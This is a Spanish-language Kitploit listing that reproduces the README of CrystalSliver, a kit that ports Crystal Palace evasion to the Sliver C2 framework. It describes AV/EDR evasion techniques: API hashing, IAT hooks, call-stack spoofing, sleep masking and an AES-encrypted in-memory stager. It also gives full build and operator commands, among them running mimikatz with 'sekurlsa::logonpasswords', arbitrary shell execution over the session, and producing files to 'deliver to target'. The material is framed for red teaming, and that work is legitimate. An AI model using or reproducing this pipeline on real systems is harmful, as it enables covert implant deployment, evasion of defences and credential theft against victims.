Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CrystalSliver — Kit de evasión Crystal Palace para Sliver | Kitploit
Herramientas/GitHubGitHub/licitrasimone/crystalsliver
Frameworks de Pruebas de PenetraciónEscalada de PrivilegiosFrameworks de ExploitsMecanismos de PersistenciaEvasión de IDS/IPSMovimiento LateralShellcodePost-ExplotaciónComando y ControlRed TeamingGeneración de Shellcode
1081422hace 3 mesesRevisado por Kitploit
Desarrollo de Payloads
GitHublicitrasimone/crystalsliver

CrystalSliver

Kit de evasión Crystal Palace para Sliver

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

crystal-kit-sliver

Kit de evasión Crystal Palace portado a Sliver C2.

Esta es la primera versión pública del port de Crystal-Kit (Cobalt Strike) de rasta-mouse a Sliver. Sigue el mismo patrón cruzado entre C2 probado por Crystal-Kit-Xenon (Mythic).

  • Licencia: MIT — Derechos de autor (c) 2026 Simone Licitra
  • Objetivo: Solo Windows x64 (restricción ascendente)
  • Estado: verificado de extremo a extremo — pipeline de compilación Kali + tiempo de ejecución Windows 10 x64 FLARE-VM. Sesión de Sliver establecida.

Qué hace

Reemplaza el cargador reflectante predeterminado de Sliver y la ruta de ejecución post-ex con Crystal Palace (Raphael Mudge, BSD). El resultado es un blob de código independiente de posición (PICO) que incluye:

  • resolución de API basada en hash ror13 (sin LoadLibrary / GetProcAddress simples)
  • ganchos IAT en VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA
  • suplantación de pila de llamadas Draugr durante las devoluciones de llamada
  • máscara de sueño XOR sobre la DLL incrustada
  • ofuscación en tiempo de ejecución basada en libtcg

La DLL de implante de Sliver (o cualquier DLL post-ex) está enmascarada con XOR dentro del PICO y solo se desenmascara en memoria en el momento de la ejecución.


Dos casos de uso

A — Evasión de implantes (PRINCIPAL)

La DLL de implante de Sliver sin procesar nunca se ejecuta directamente en el objetivo. En su lugar, se envuelve con Crystal Palace en un PICO, se cifra con AES-256-CBC y se entrega con un stager personalizado (~17 KB) que lo descifra y ejecuta en memoria.

sliver-server generate --format shared → impl.dll
        │
        ▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
        │
        ▼
bundle-stager.sh                   → csvchelper.exe (~17 KB, no embedded payload)
                                   → payload.dat    (~36 MB AES-256-CBC ciphertext)
        │
        ▼ deliver BOTH files to same directory on target
        ▼
Windows VM: csvchelper.exe
        │
        ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
        ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
        ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session

B — Evasión post-ex (SECUNDARIA)

Una vez que una sesión está activa, ejecute DLLs sensibles (reconocimiento, volcadores de credenciales, etc.) a través de Crystal Palace mediante una Extensión de Sliver.

sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin

Pase argumentos de tiempo de ejecución sin reconstruir agregándolos después de |:

sliver > crystal --payload C:/path/file.pico.bin|args here

La crystal-loader.x64.dll es una Extensión DLL de Sliver que lee el blob PICO del disco en una región VirtualAlloc(RW), lo cambia a RX con VirtualProtect, y salta al punto de entrada de Crystal Palace. Nunca se mantiene un mapeo PAGE_EXECUTE_READWRITE. Las rutas usan barras inclinadas. El formato de argumento es type:string (no binario BOF). La DLL es cargada en memoria por Sliver — no se escribe como archivo en el disco objetivo.

C — Ejecución de shell incorporada a través de Crystal Palace

crystal-exec es un segundo comando incluido en la misma extensión. Ejecuta comandos de shell arbitrarios a través de la evasión de Crystal Palace utilizando un PICO incrustado directamente en la DLL de la extensión — no es necesario subir un archivo PICO.

sliver > crystal-exec --cmd "whoami /all"

La salida se devuelve al operador a través de la sesión Sliver existente mediante un pipe. Este es el camino más rápido para comandos de shell únicos cuando no se necesita una DLL post-ex completa.


Estructura del repositorio

crystal-kit-sliver/
├── loader/              ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/       ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip       ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/         ← Sliver-specific build glue
    ├── extension.json           Sliver Extension manifest
    ├── generate.sh              Wrap a post-ex DLL  → PICO (Use case B)
    ├── generate-implant.sh      Wrap a Sliver DLL   → PICO (Use case A)
    ├── bundle-implant.sh        Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
    ├── bundle-stager.sh         Build custom stager: csvchelper.exe + payload.dat (primary)
    ├── pack-extension.sh        Pack DLL + manifest into Sliver Extension tarball
    ├── Makefile                 make objects / package / clean
    ├── stager/                  Custom stager sources (AES-256-CBC, asInvoker manifest)
    └── wrapper/                 crystal-loader.c (BOF-compat DLL wrapper)

docs/
├── RUNBOOK.md           Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md       File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md         Build prerequisites and pipeline details

Compilación rápida (Kali / Debian / Ubuntu)

# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all

# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
   crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)

# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args:  postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh

# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh

Consulte docs/RUNBOOK.md para conocer el procedimiento completo del operador (instalación de Sliver, configuración del listener, ejecución en objetivo, solución de problemas).


Qué está verificado

Descargar herramienta